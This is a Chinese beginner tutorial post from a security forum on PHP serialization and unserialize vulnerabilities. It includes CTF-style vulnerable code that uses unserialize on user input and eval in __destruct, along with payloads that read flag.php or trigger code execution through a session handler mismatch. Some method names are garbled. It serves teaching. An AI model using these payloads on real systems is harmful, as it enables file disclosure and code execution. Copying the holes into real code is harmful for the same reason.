PHP序列及反序列化安全漏洞

HYWZ / 2019-01-19 14:14:00 / 浏览数 4122 新手 入门资料 顶(1) 踩(0)

尽量阐述全PHP序列化的相关东西-。-

1.序列化和反序列化

序列化是将变量或对象转换成字符串的过程；反序列化是将字符串转换成变量或对象的过程。
序列化及反序列化常见函数：serialize、unserialize、json_encode、json_decode。
序列化之后的格式：
array（a）
a:<length>:{key,value对}，例如a:1:{i,1;j,2;}
Boolean（b）
double（d）
integer（i）
object（o）
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}，例如O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;}（person对象name的属性值
string（s）
s:length:"value"，例如s:1:"f"
null（N）</properties></number_of_properties></class_name></class_name_length></length>

2.PHP中魔幻函数

construct：创建对象时初始化
destruction：结束时销毁对象
toString：对象被当作字符串时使用
sleep：序列化对象之前调用
wakeup：反序列化之前调用
call：调用对象不存在时使用
get：调用私有属性时使用

3.php_session序列化及反序列化知识

PHP内置了很多处理器用于对存入$session的数据进行序列化和反序列化。有三种：php_binary（形式：键名长度的ASCII码+键名+序列化的值）、php（形式：键名+"|"+
示例：
代码：

```
<?php
ini_set('
session.serialize_handler', 'php');session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>
```

当网址中a=O:4:"pass":0:{}时，
php模式下形式为a|s:15:"O:4:"pass":0:{}";
php_serialize模式下形式为a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}
注意，要真的模拟测试，需要百度做详细的各种PHP参数配置哈。

4.安全漏洞

例1：将已序列化值反序列化，造成魔幻函数执行

```
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");        }    }}
$password = unserialize($_GET['password']);
echo $password;
</script>
```

说明：当对象被当做字符串（如序列化的结果是字符串）时会调用__tostring()魔幻函数。

payload：

```
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");        }    }}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
```

输出序列化字符串：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将此字符串放至$password变量中，执行即可获取flag.php界面的内容。

例2：PHP session处理器设置不当造成安全漏洞

```
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');session_start();
class OowoO{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{        eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}?>
```

已知，php.ini（通过phpinfo可看）中session.serialize_handler = php_serilize，代码中ini_set('session.serialize_handler', 'php');
注意，php会以"|"为界，将之前和之后的内容分别设为键名和键值；而php_serialize恰巧对"|"不敏感。emmmmm，猜到构造方法了吧-。-
可以给网页传入一个php_serialize的session，然后通过网页的php处理器解析后将"|"后的内容解析成值，执行之。

上一篇：关于MSF5一些你不得不知道的东西 下一篇：Windows 7、8、10的权限...

1. 2 条回复

HYWZ 2019-02-05 12:46:26

原来俺的这篇成功出稿了

0 回复Ta


sket****pl4ne 2019-08-30 09:37:23

貌似是__toString()。。。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板